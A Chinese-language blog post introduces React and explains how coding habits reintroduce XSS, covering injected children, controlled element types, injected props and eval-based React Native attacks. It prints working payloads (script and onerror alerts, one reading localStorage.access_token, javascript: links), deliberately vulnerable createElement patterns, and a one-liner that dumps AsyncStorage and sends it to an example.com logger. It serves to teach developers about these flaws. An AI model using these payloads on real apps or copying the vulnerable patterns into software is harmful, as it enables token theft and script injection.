reactjs简介

最新出的react框架,参考网上各大神的文章总结了下使用及可能产生的安全问题

React(有时叫React.jsReactJS),是一个为数据提供渲染为HTML视图的开源JavaScript 库。React视图通常采用包含以自定义HTML标记规定的其他组件的组件渲染。React为程序员提供了一种子组件不能直接影响外层组件("data flows down")的模型,数据改变时对HTML文档的有效更新,和现代单页应用中组件之间干净的分离

ReactJS的安全问题

ReactJS已经实现了绝大部分的客户端逻辑(比如可以自动进行安全编码),开发者不需要关注xss攻击,但是并不是绝对的

由于编码习惯也是可以导致安全问题的,比如:

  • 使用客户端提供的对象来创建React组件
  • 通过用户提供的href或者其它可注入的属性来渲染链接
  • 在React中使用dangerouslySetInnerHTML
  • 把用户提供的数据传给eval()

Components, Props和Elements

Component(组件)是ReactJS最基本的对象。它们就像JavaScript的函数一样,接受任意输入(就是后文的props)并返回一个React Element(元素)。一个基本的component如下:

class Welcome extends React.Component {
  render() {
    return <h1>Hello, {this.props.name}</h1>;
  }
}

它返回的东西叫JSX。JSX是JavaScript语法的扩展,它会被自动转译成正常的JavaScript(ES5)代码。

在React中,开发者可以用createElement()来从component类中创建新的元素

React.createElement(
  type,
  [props],
  [...children]
)

这个函数用了这三个参数:

  • type可以是HTML标签的名字(比如div,span),或者是一个component类。不过在React Native中,这个参数只能被传入component
  • props是一个包含了许多属性的列表,并且这些值要被传给element
  • children包含了新元素的子节点

例如:

const element = React.createElement(
  h1,
  {className: greeting},
  Hello, world!
);

转化成jsx代码:

const element = (
  <h1 className="greeting">
  Hello, world!
  </h1>
);

当可以控制其中的参数的话可以做xss攻击的

1、注入子节点

案例:danlec.com/blog/xss-via

分析:导致这个问题的原因是HackerOne会将客户端提供的一个对象当作children传给React.createElement()。代码大概如下:

/* 获取用户提供的参数,并将其当作JSON解析
attacker_supplied_value = JSON.parse(some_user_input)
*/
render() {  
 return <span>{attacker_supplied_value}</span>;
}

JSX会被转译成这样:React.createElement("span", null, attacker_supplied_value};

当attacker_supplied_value是字符串时,该代码会返回一个span元素。不过在参数为简单对象时,这个函数也会正常执行。在props中添加dangerouslySetInnerHTML来阻止React转码HTML:

{
 _isReactElement: true,
 _store: {},
 type: "body",
 props: {
   dangerouslySetInnerHTML: {
     __html:
     "<h1>Arbitrary HTML</h1>
     <script>alert(‘No CSP Support :(‘)</script>
     <a href=’http://danlec.com'>link</a>"
    }
  }
}

2、控制Element类型

虽然注入简单对象这个方法不能使用了,但是createElement的type参数支持字符串,因此注入component也还是有可能的。假设有以下代码:

// 用后端提供的字符串创建element
element_name = stored_value;
React.createElement(element_name, null);

如果stored_value被攻击者控制,那么可以通过其创建任意React component。不过这样也只能创建简单的HTML元素。为了更好地利用,攻击者必须控制新建元素时的属性参数。

3、注入props

我们来看看一下代码:

// 解析攻击者提供的JSON并传给createElement中
// 危险代码,请勿模仿
attacker_props = JSON.parse(stored_value)
React.createElement("span", attacker_props};

我们可以以此注入任意props参数,比方说开启dangerouslySetInnerHTML:

{"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}}

4、React Native 中的注入

React Native让你可以用ReactJS在移动端编写程序,然而前文提到的手段大多在React Native中不管用:

  • React Native的createInternalComponent只接受被标签过的component类。即使你能控制createElement的所有参数,也不能创建任意元素。
  • HTML属性不能使用,并且HTML不会被解析,因此一般基于浏览器的XSS(比如href)不能正常执行

只有基于eval的攻击才能被执行。不过当你成功地执行了JS时,就能使用React Native的API来做破坏力更强的事,比如通过AsyncStorage盗取local storage的所有数据:

_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});

5、可控位置及漏洞

可控参数参数值可利用
typeN
`type` `children``type: 'scRipt'` `children: 'alert(1)'Y
`type` `props``type: 'iframe'` `props: {src: 'javascript:alert(1)'}`Y
`type` `props` `children``type: 'a',` `props: {href: 'javascript:alert(1)'}` `children: 'click meY
`children`N
`children` `props`children: null` `props: {dangerouslySetInnerHTML: {__html: '<img src=x onerror=alert(1)>'}}`可能
`props``props: {dangerouslySetInnerHTML: {__html: '<img src=x onerror=alert(1)>'}}`可能

发布于 2021-02-03 14:13